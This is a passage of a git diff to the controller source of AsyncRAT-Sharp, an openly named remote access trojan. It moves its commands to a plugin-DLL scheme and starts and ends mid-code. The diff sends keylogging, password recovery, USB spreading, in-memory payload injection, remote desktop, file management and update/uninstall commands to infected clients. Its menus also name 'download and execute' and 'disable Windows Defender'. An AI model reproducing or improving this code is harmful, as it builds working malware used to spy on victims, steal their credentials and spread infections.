this.restartToolStripMenuItem2.Click += new System.EventHandler(this.RestartToolStripMenuItem2_Click); // // updateToolStripMenuItem2 // this.updateToolStripMenuItem2.Name = "updateToolStripMenuItem2"; - this.updateToolStripMenuItem2.Size = new System.Drawing.Size(270, 34); + this.updateToolStripMenuItem2.Size = new System.Drawing.Size(213, 34); this.updateToolStripMenuItem2.Text = "Update"; this.updateToolStripMenuItem2.Click += new System.EventHandler(this.UpdateToolStripMenuItem2_Click); // // uninstallToolStripMenuItem // this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem"; - this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(213, 34); this.uninstallToolStripMenuItem.Text = "Uninstall"; this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.UninstallToolStripMenuItem_Click); // // toolStripSeparator3 // this.toolStripSeparator3.Name = "toolStripSeparator3"; - this.toolStripSeparator3.Size = new System.Drawing.Size(267, 6); + this.toolStripSeparator3.Size = new System.Drawing.Size(210, 6); // // showFolderToolStripMenuItem // this.showFolderToolStripMenuItem.Name = "showFolderToolStripMenuItem"; - this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(213, 34); this.showFolderToolStripMenuItem.Text = "Show Folder"; this.showFolderToolStripMenuItem.Click += new System.EventHandler(this.ShowFolderToolStripMenuItem_Click); // @@ -556,40 +544,40 @@ this.shutdownToolStripMenuItem1}); this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc; this.pCToolStripMenuItem.Name = "pCToolStripMenuItem"; - this.pCToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34); this.pCToolStripMenuItem.Text = "PC"; // // logoffToolStripMenuItem1 // this.logoffToolStripMenuItem1.Name = "logoffToolStripMenuItem1"; - this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(195, 34); this.logoffToolStripMenuItem1.Text = "Logoff"; this.logoffToolStripMenuItem1.Click += new System.EventHandler(this.LogoffToolStripMenuItem1_Click); // // restartToolStripMenuItem3 // this.restartToolStripMenuItem3.Name = "restartToolStripMenuItem3"; - this.restartToolStripMenuItem3.Size = new System.Drawing.Size(270, 34); + this.restartToolStripMenuItem3.Size = new System.Drawing.Size(195, 34); this.restartToolStripMenuItem3.Text = "Restart"; this.restartToolStripMenuItem3.Click += new System.EventHandler(this.RestartToolStripMenuItem3_Click); // // shutdownToolStripMenuItem1 // this.shutdownToolStripMenuItem1.Name = "shutdownToolStripMenuItem1"; - this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(195, 34); this.shutdownToolStripMenuItem1.Text = "Shutdown"; this.shutdownToolStripMenuItem1.Click += new System.EventHandler(this.ShutdownToolStripMenuItem1_Click); // // toolStripSeparator1 // this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(199, 6); + this.toolStripSeparator1.Size = new System.Drawing.Size(237, 6); // // bUILDERToolStripMenuItem // this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder; this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem"; - this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(202, 32); + this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.bUILDERToolStripMenuItem.Text = "BUILDER"; this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click); // @@ -675,6 +663,7 @@ this.listView2.Dock = System.Windows.Forms.DockStyle.Fill; this.listView2.FullRowSelect = true; this.listView2.GridLines = true; + this.listView2.HideSelection = false; this.listView2.Location = new System.Drawing.Point(3, 3); this.listView2.Name = "listView2"; this.listView2.ShowGroups = false; @@ -696,7 +685,6 @@ // // contextMenuLogs // - this.contextMenuLogs.ImageScalingSize = new System.Drawing.Size(24, 24); this.contextMenuLogs.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.cLEARToolStripMenuItem}); this.contextMenuLogs.Name = "contextMenuLogs"; @@ -724,6 +712,7 @@ // this.listView3.ContextMenuStrip = this.contextMenuThumbnail; this.listView3.Dock = System.Windows.Forms.DockStyle.Fill; + this.listView3.HideSelection = false; this.listView3.LargeImageList = this.ThumbnailImageList; this.listView3.Location = new System.Drawing.Point(0, 0); this.listView3.Name = "listView3"; @@ -735,12 +724,11 @@ // // contextMenuThumbnail // - this.contextMenuThumbnail.ImageScalingSize = new System.Drawing.Size(24, 24); this.contextMenuThumbnail.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.sTARTToolStripMenuItem, this.sTOPToolStripMenuItem}); this.contextMenuThumbnail.Name = "contextMenuStrip2"; - this.contextMenuThumbnail.Size = new System.Drawing.Size(144, 68); + this.contextMenuThumbnail.Size = new System.Drawing.Size(136, 68); // // sTARTToolStripMenuItem // @@ -784,6 +772,7 @@ this.listView4.ContextMenuStrip = this.contextMenuTasks; this.listView4.Dock = System.Windows.Forms.DockStyle.Fill; this.listView4.FullRowSelect = true; + this.listView4.HideSelection = false; this.listView4.Location = new System.Drawing.Point(3, 3); this.listView4.Name = "listView4"; this.listView4.Size = new System.Drawing.Size(1320, 440); @@ -803,7 +792,6 @@ // // contextMenuTasks // - this.contextMenuTasks.ImageScalingSize = new System.Drawing.Size(24, 24); this.contextMenuTasks.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.pASSWORDRECOVERYToolStripMenuItem, this.downloadAndExecuteToolStripMenuItem, @@ -878,11 +866,6 @@ this.TimerTask.Interval = 5000; this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick); // - // GetThumbnails - // - this.GetThumbnails.Interval = 5000; - this.GetThumbnails.Tick += new System.EventHandler(this.GetThumbnails_Tick); - // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); @@ -892,6 +875,7 @@ this.Controls.Add(this.statusStrip1); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "Form1"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "AsyncRAT-Sharp"; this.Activated += new System.EventHandler(this.Form1_Activated); this.Deactivate += new System.EventHandler(this.Form1_Deactivate); @@ -1000,12 +984,10 @@ private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel2; private System.Windows.Forms.ToolStripMenuItem executeNETCodeToolStripMenuItem; private System.Windows.Forms.ColumnHeader lv_av; - public System.Windows.Forms.Timer GetThumbnails; private System.Windows.Forms.ToolStripMenuItem pASSWORDRECOVERYToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem blankScreenToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem getAdminPrivilegesToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem disableWindowsDefenderToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem disableNetStatToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem webcamToolStripMenuItem; } } diff --git a/AsyncRAT-C#/Server/Forms/Form1.cs b/AsyncRAT-C#/Server/Forms/Form1.cs index a3598ed..88a7dea 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.cs @@ -16,6 +16,7 @@ using Server.Handle_Packet; using Server.Helper; using System.Security.Cryptography.X509Certificates; using System.Collections.Generic; +using System.Runtime.InteropServices; /* │ Author : NYAN CAT @@ -33,7 +34,13 @@ namespace Server public Form1() { InitializeComponent(); - this.Opacity = 0; + SetWindowTheme(listView1.Handle, "explorer", null); + this.Opacity = 0; + formDOS = new FormDOS + { + Name = "DOS", + Text = "DOS", + }; } private Listener listener; @@ -135,6 +142,8 @@ namespace Server ListviewDoubleBuffer.Enable(listView2); ListviewDoubleBuffer.Enable(listView3); + Methods.SetPlugins(); + CheckFiles(); lvwColumnSorter = new ListViewColumnSorter(); this.listView1.ListViewItemSorter = lvwColumnSorter; @@ -293,9 +302,18 @@ namespace Server { if (listView1.Items.Count > 0) { - GetThumbnails.Stop(); - GetThumbnails.Start(); - GetThumbnails.Tag = (object)"started"; + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "thumbnails"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetAllClients()) + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } } } @@ -303,8 +321,17 @@ namespace Server { try { - GetThumbnails.Tag = (object)"stopped"; - GetThumbnails.Stop(); + if (listView1.Items.Count > 0) + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "thumbnailsStop"; + + foreach (ListViewItem itm in listView3.Items) + { + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.Send, packet.Encode2Bytes()); + } + } listView3.Items.Clear(); ThumbnailImageList.Images.Clear(); foreach (ListViewItem itm in listView1.Items) @@ -323,11 +350,16 @@ namespace Server OpenFileDialog openFileDialog = new OpenFileDialog(); if (openFileDialog.ShowDialog() == DialogResult.OK) { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "sendFile"; + packet.ForcePathObject("Update").AsString = "false"; + await packet.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName); + packet.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName); + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "sendFile"; - msgpack.ForcePathObject("Update").AsString = "false"; - await msgpack.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName); - msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); ListViewItem lv = new ListViewItem(); lv.Text = "SendFile: " + Path.GetFileName(openFileDialog.FileName); @@ -366,18 +398,16 @@ namespace Server formSend.ShowDialog(); if (formSend.toolStripStatusLabel1.Text.Length > 0 && formSend.toolStripStatusLabel1.ForeColor == Color.Green) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "sendMemory"; - msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString())); + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "sendMemory"; + packet.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString())); if (formSend.comboBox1.SelectedIndex == 0) { - msgpack.ForcePathObject("Inject").AsString = ""; - msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]); + packet.ForcePathObject("Inject").AsString = ""; } else { - msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; - msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRunPE); + packet.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; } ListViewItem lv = new ListViewItem(); @@ -385,6 +415,11 @@ namespace Server lv.SubItems.Add("0"); lv.ToolTipText = Guid.NewGuid().ToString(); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + if (listView4.Items.Count > 0) { foreach (ListViewItem item in listView4.Items) @@ -418,11 +453,16 @@ namespace Server OpenFileDialog openFileDialog = new OpenFileDialog(); if (openFileDialog.ShowDialog() == DialogResult.OK) { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "sendFile"; + await packet.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName); + packet.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName); + packet.ForcePathObject("Update").AsString = "true"; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "sendFile"; - await msgpack.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName); - msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName); - msgpack.ForcePathObject("Update").AsString = "true"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); ListViewItem lv = new ListViewItem(); lv.Text = "Update: " + Path.GetFileName(openFileDialog.FileName); @@ -528,24 +568,25 @@ namespace Server formSend.ShowDialog(); if (formSend.IsOK) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "sendMemory"; - msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString())); + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "sendMemory"; + packet.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString())); if (formSend.comboBox1.SelectedIndex == 0) { - msgpack.ForcePathObject("Inject").AsString = ""; - msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]); + packet.ForcePathObject("Inject").AsString = ""; } else { - msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; - msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRunPE); - // github.com/Artiist/RunPE-Process-Protection + packet.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; } + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + foreach (Clients client in GetSelectedClients()) { - client.LV.ForeColor = Color.Red; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } @@ -567,16 +608,21 @@ namespace Server openFileDialog.Multiselect = true; if (openFileDialog.ShowDialog() == DialogResult.OK) { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "sendFile"; + packet.ForcePathObject("Update").AsString = "false"; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "sendFile"; - msgpack.ForcePathObject("Update").AsString = "false"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); + foreach (Clients client in GetSelectedClients()) { - client.LV.ForeColor = Color.Red; foreach (string file in openFileDialog.FileNames) { - await msgpack.ForcePathObject("File").LoadFileAsBytes(file); - msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(file); + await packet.ForcePathObject("File").LoadFileAsBytes(file); + packet.ForcePathObject("Extension").AsString = Path.GetExtension(file); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } @@ -598,7 +644,11 @@ namespace Server listView2.Items.Clear(); } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void VisitWebsiteToolStripMenuItem1_Click(object sender, EventArgs e) @@ -610,46 +660,67 @@ namespace Server return; else { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "visitURL"; + packet.ForcePathObject("URL").AsString = url; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "visitURL"; - msgpack.ForcePathObject("URL").AsString = url; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void SendMessageBoxToolStripMenuItem1_Click(object sender, EventArgs e) { - string Msgbox = Interaction.InputBox("Message", "Message", "Hello World!"); - if (string.IsNullOrEmpty(Msgbox)) - return; - else + try { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "sendMessage"; - msgpack.ForcePathObject("Message").AsString = Msgbox; - foreach (Clients client in GetSelectedClients()) + string Msgbox = Interaction.InputBox("Message", "Message", "Hello World!"); + if (string.IsNullOrEmpty(Msgbox)) + return; + else { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "sendMessage"; + packet.ForcePathObject("Message").AsString = Msgbox; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } } } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void RemoteDesktopToolStripMenuItem1_Click(object sender, EventArgs e) { try { - //DLL Plugin - //msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - //msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginDesktop); MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Option").AsString = "capture"; - msgpack.ForcePathObject("Quality").AsInteger = 30; + //DLL Plugin + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\RemoteDesktop.dll")); foreach (Clients client in GetSelectedClients()) { FormRemoteDesktop remoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + client.ID]; @@ -668,7 +739,11 @@ namespace Server } } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void KeyloggerToolStripMenuItem1_Click(object sender, EventArgs e) @@ -676,8 +751,9 @@ namespace Server try { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "keyLogger"; - msgpack.ForcePathObject("isON").AsString = "true"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\LimeLogger.dll")); + foreach (Clients client in GetSelectedClients()) { FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; @@ -688,14 +764,17 @@ namespace Server Name = "keyLogger:" + client.ID, Text = "keyLogger:" + client.ID, F = this, - Client = client }; KL.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void ChatToolStripMenuItem1_Click(object sender, EventArgs e) @@ -704,21 +783,25 @@ namespace Server { foreach (Clients client in GetSelectedClients()) { - FormChat shell = (FormChat)Application.OpenForms["chat:" + client.ID]; - if (shell == null) + FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID]; + if (chat == null) { - shell = new FormChat + chat = new FormChat { Name = "chat:" + client.ID, Text = "chat:" + client.ID, F = this, - Client = client + ParentClient = client }; - shell.Show(); + chat.Show(); } } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void FileManagerToolStripMenuItem1_Click(object sender, EventArgs e) @@ -726,8 +809,9 @@ namespace Server try { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "getDrivers"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\FileManager.dll")); + foreach (Clients client in GetSelectedClients()) { FormFileManager fileManager = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; @@ -738,7 +822,6 @@ namespace Server Name = "fileManager:" + client.ID, Text = "fileManager:" + client.ID, F = this, - Client = client, FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID) }; fileManager.Show(); @@ -746,7 +829,11 @@ namespace Server } } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void PasswordRecoveryToolStripMenuItem1_Click(object sender, EventArgs e) @@ -754,17 +841,21 @@ namespace Server try { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "recoveryPassword"; - msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRecovery); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Recovery.dll")); + foreach (Clients client in GetSelectedClients()) { - client.LV.ForeColor = Color.Red; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } new HandleLogs().Addmsg("Sending Password Recovery..", Color.Black); tabControl1.SelectedIndex = 1; } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void ProcessManagerToolStripMenuItem1_Click(object sender, EventArgs e) @@ -772,8 +863,9 @@ namespace Server try { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "processManager"; - msgpack.ForcePathObject("Option").AsString = "List"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\ProcessManager.dll")); + foreach (Clients client in GetSelectedClients()) { FormProcessManager processManager = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; @@ -784,22 +876,33 @@ namespace Server Name = "processManager:" + client.ID, Text = "processManager:" + client.ID, F = this, - Client = client + ParentClient = client }; processManager.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + { } } private void BotsKillerToolStripMenuItem_Click(object sender, EventArgs e) { try { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "botKiller"; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "botKiller"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -807,24 +910,36 @@ namespace Server new HandleLogs().Addmsg("Sending Botkiller..", Color.Black); tabControl1.SelectedIndex = 1; } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void USBSpreadToolStripMenuItem1_Click(object sender, EventArgs e) { try { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "limeUSB"; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "usbSpread"; - msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginUsbSpread); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } - new HandleLogs().Addmsg("Sending USB Spread..", Color.Black); - tabControl1.SelectedIndex = 1; } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + { } } private void RunToolStripMenuItem1_Click(object sender, EventArgs e) @@ -836,61 +951,103 @@ namespace Server return; else { + lock (Settings.LockReportWindowClients) + { + Settings.ReportWindowClients.Clear(); + Settings.ReportWindowClients = new List(); + } + Settings.ReportWindow = true; + + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "reportWindow"; + packet.ForcePathObject("Option").AsString = "run"; + packet.ForcePathObject("Title").AsString = title; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "reportWindow"; - msgpack.ForcePathObject("Option").AsString = "run"; - msgpack.ForcePathObject("Title").AsString = title; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void StopToolStripMenuItem2_Click(object sender, EventArgs e) { - try { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "reportWindow"; - msgpack.ForcePathObject("Option").AsString = "stop"; - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } + Settings.ReportWindow = false; + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "reportWindow"; + packet.ForcePathObject("Option").AsString = "stop"; + lock (Settings.LockReportWindowClients) + foreach (Clients clients in Settings.ReportWindowClients) + { + ThreadPool.QueueUserWorkItem(clients.Send, packet.Encode2Bytes()); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; } - catch { } } private void CloseToolStripMenuItem1_Click(object sender, EventArgs e) { try { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "close"; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "close"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void RestartToolStripMenuItem2_Click(object sender, EventArgs e) { try { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "restart"; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "restart"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private async void UpdateToolStripMenuItem2_Click(object sender, EventArgs e) @@ -900,19 +1057,28 @@ namespace Server OpenFileDialog openFileDialog = new OpenFileDialog(); if (openFileDialog.ShowDialog() == DialogResult.OK) { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "sendFile"; + await packet.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName); + packet.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName); + packet.ForcePathObject("Update").AsString = "true"; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "sendFile"; - await msgpack.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName); - msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName); - msgpack.ForcePathObject("Update").AsString = "true"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + foreach (Clients client in GetSelectedClients()) { - client.LV.ForeColor = Color.Red; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } private void UninstallToolStripMenuItem_Click(object sender, EventArgs e) @@ -922,14 +1088,24 @@ namespace Server { try { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "uninstall"; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "uninstall"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } } @@ -937,48 +1113,75 @@ namespace Server { try { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "pcOptions"; + packet.ForcePathObject("Option").AsString = "restart"; + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "pcOptions"; - msgpack.ForcePathObject("Option").AsString = "restart"; + 